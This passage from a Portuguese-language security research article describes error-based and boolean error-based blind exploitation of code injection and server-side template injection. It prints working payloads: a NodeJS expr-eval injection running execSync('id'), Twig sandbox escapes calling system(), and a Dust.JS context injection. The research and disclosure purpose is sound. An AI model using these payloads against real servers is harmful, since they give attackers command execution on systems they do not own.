O primeiro exemplo de aplicação de novas técnicas a um alvo real foi a vulnerabilidade de Injeção de Código em um popular construtor de bots para Discord.
Uma das tags no motor de template permitia avaliação de expressões matemáticas usando um módulo NodeJS vulnerável chamado **expr-eval**, mas o resultado era convertido para inteiro, o que inicialmente me impedia de acessar o resultado do código injetado.
Modifiquei o payload conhecido para acessar o construtor de funções sem quebrar a sintaxe do motor de template usado para acionar a funcionalidade vulnerável.
Depois disso, apliquei a técnica Baseada em Erros e usei `require()` para acionar um erro contendo resultados da execução do código:```node
{ ███████[ Object = constructor; a() = 7*7; d = Object.getOwnPropertyDescriptor( Object.getPrototypeOf(a), 'constructor'); c=d.value; f=c("return process.mainModule.require( process.mainModule.require('child_process').execSync('id').toString())"); f() ] }

Neste caso, a técnica baseada em erros (Error-Based) permitiu obter saída de uma injeção de código cega (Blind Code Injection) numa aplicação real que estava a testar na altura.
O payload para exploração de Injeção de Código no módulo expr-eval para NodeJS foi adicionado como um módulo extra do SSTImap que pode ser instalado adicionalmente. Este módulo contém payloads para todas as quatro técnicas de exploração de Injeção de Código suportadas pelo SSTImap.
Outro exemplo de aplicação prática das novas técnicas é a capacidade de explorar o CVE-2025-1302 sem as limitações impostas pelo contexto de injeção. Os payloads anteriores para injeção renderizada definiam atributos do objeto raiz, mas esta abordagem impedia a exploração renderizada em muitos contextos de injeção e obrigava a adivinhar os restantes.
Graças às técnicas baseadas em erros, a saída tornou-se acessível em todos os contextos, no caso de uma saída de erros verbosa. A utilização da técnica cega baseada em erros booleanos (Boolean Error-Based Blind) permitiu uma exploração mais eficaz de injeções cegas e abriu possibilidades para uma exfiltração rápida de dados.
Versões vulneráveis do motor de templates Twig permitem a fuga da sandbox ao passar uma string que contém o nome de uma função PHP como parâmetro para o filtro |sort.
Este filtro converte a saída da função num número que determina a nova ordem de dois elementos na matriz.
Em PHP, a função system() apenas retorna a primeira string da saída, mas é suficiente para afetar o número resultante e a ordem dos elementos da matriz, mostrando se o nosso comando do SO foi executado com sucesso.
Podemos comparar o primeiro elemento com o valor esperado para determinar se os elementos trocaram de lugar e perceber que número o nosso comando produziu.
Como resultado, obtemos este payload:```php
{% for a in ["error_reporting", "1"]|sort("ini_set") %}{% endfor %}
{{ 1 / ([" … >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }}
Desta vez, o Boolean Error-Based Blind expande as capacidades de bypass sandbox cego no motor de templates **Twig**, potencialmente permitindo a extração bit a bit da saída.
Também podemos notar que funções PHP como `system()` e `passthru()` exibem os resultados diretamente na página, o que nos permite interceptá-los usando `ob_start()`.
Como segundo argumento, `ob_start()` aceita o nome da função que será chamada com nossa saída como argumento.
Isso nos permite usar `call_user_func()` para exfiltração de saída baseada em erro.
Para chamar nossa função e disparar um erro, precisamos disparar `ob_end_flush()` sem argumentos.
Para fazer isso, podemos usar `call_user_func_array()` com um array vazio.
Nosso payload final:```php
{% set a = ["error_reporting", "1"]|sort("ini_set") %}
{% set b = ["ob_start", "call_user_func"]|sort("call_user_func") %}
{{ ["ls", 0]|sort("system") }}
{% set a = ["ob_end_flush", []]|sort("call_user_func_array")%}
Além disso, gostaria de mencionar payloads para o mecanismo de templates Dust.JS. As técnicas Error-Based e Boolean Error-Based Blind com payloads baseados em payloads de Code Injection para NodeJS permitem uma exploração mais eficaz de SSTI cego, bem como a obtenção dos resultados quando a saída de erro detalhada está presente no site alvo.
Depois disso, decidi pesquisar a possibilidade de obter resultado durante a injeção renderizada adicionando uma variável ao contexto do template. Inicialmente, tentei usar Prototype Pollution, mas causou erros durante a geração dinâmica de código, então tive que encontrar o objeto de contexto para injetar a nova variável. Para isso, apliquei a técnica Error-Based e examinei as variáveis globais.
Encontrei uma variável chamada context, que tinha um atributo chamado global contendo variáveis passadas para o template. Adicionar um novo atributo de context.global permitiu obter o resultado:```node
{@if cond="context.global.sstimap='test'"}{/if}{sstimap}
Este exemplo mostra a possibilidade de usar a técnica **Error-Based** para examinar o contexto de injeção ao desenvolver os payloads usando a abordagem de caixa preta.
## Conclusões
Como parte desta pesquisa, duas novas técnicas para Injeção de Código e SSTI foram desenvolvidas.
Usar a técnica **Error-Based** permite acessar os resultados de injeção cega se mensagens de erro detalhadas forem exibidas ao usuário.
A técnica **Boolean Error-Based Blind** acelera bastante a exploração de injeções cegas, pois elimina os atrasos comumente usados com a técnica **Time-Based Blind**.
Payloads foram criados para ambas as novas técnicas, que permitem a exploração de Injeção de Código e SSTI em seis linguagens de programação.
Além disso, payloads sensíveis ao contexto para detecção genérica de Injeção de Código e SSTI foram introduzidos, o que permitiu a detecção automatizada de injeções cegas sem testar todas as linguagens possíveis, o que antes era considerado impossível.
As técnicas demonstradas comprovam a importância de documentar todas as técnicas de exploração conhecidas, mesmo para vulnerabilidades aparentemente óbvias.
Uma abordagem semelhante foi usada em técnicas de Injeção SQL por muito tempo, mas durante 10 anos desde a descoberta do SSTI não houve menções à técnica **Error-Based** e nenhum payload documentado.
A Injeção de Código por si só mal possui documentação, o que impediu a descoberta de novas técnicas fundamentais.
Esta pesquisa comprovou o potencial de descobrir novas técnicas mesmo para vulnerabilidades bem conhecidas.
Para um desenvolvimento de técnicas mais eficaz, um repositório de conhecimento deve ser criado contendo técnicas e truques para pesquisadores, o que permitiria a documentação de conhecimento sobre desenvolvimento de payloads e características incomuns de diferentes sistemas, mesmo que esse conhecimento não tenha uso direto para exploração de sistemas.
Para concluir, gostaria de mencionar direções promissoras para pesquisas futuras.
Uma grande melhoria para as técnicas **Boolean Error-Based Blind** e **Time-Based Blind** seriam os payloads para exfiltração bit a bit da saída, de forma semelhante às técnicas correspondentes para Injeção SQL.
Além disso, pesquisar as possibilidades de teste **OAST** e aplicação da técnica **Time-Based Blind** usando as funcionalidades dos mecanismos de template removeria a dependência dessas técnicas do SO e dos binários disponíveis no servidor alvo.
## Referências
[^1]: https://portswigger.net/knowledgebase/papers/serversidetemplateinjection.pdf
[^2]: https://www.hackmanit.de/images/download/thesis/Improving-the-Detection-and-Identification-of-Template-Engines-for-Large-Scale-Template-Injection-Scanning-Maximilian-Hildebrand-Master-Thesis-Hackmanit.pdf
[^3]: https://github.com/vladko312/SSTImap
[^4]: https://github.com/vladko312/extras
[^5]: https://github.com/epinna/tplmap/
[^6]: https://github.com/linkedin/dustjs/wiki/Dust-Tutorial
[^7]: https://nvd.nist.gov/vuln/detail/CVE-2022-23614
[^8]: https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afae8db6456
[^9]: https://github.com/sqlmapproject/sqlmap/wiki/Techniques
[^10]: https://gist.github.com/n1nj4sec/5e3fffdfa322f4c23053359fc8100ab9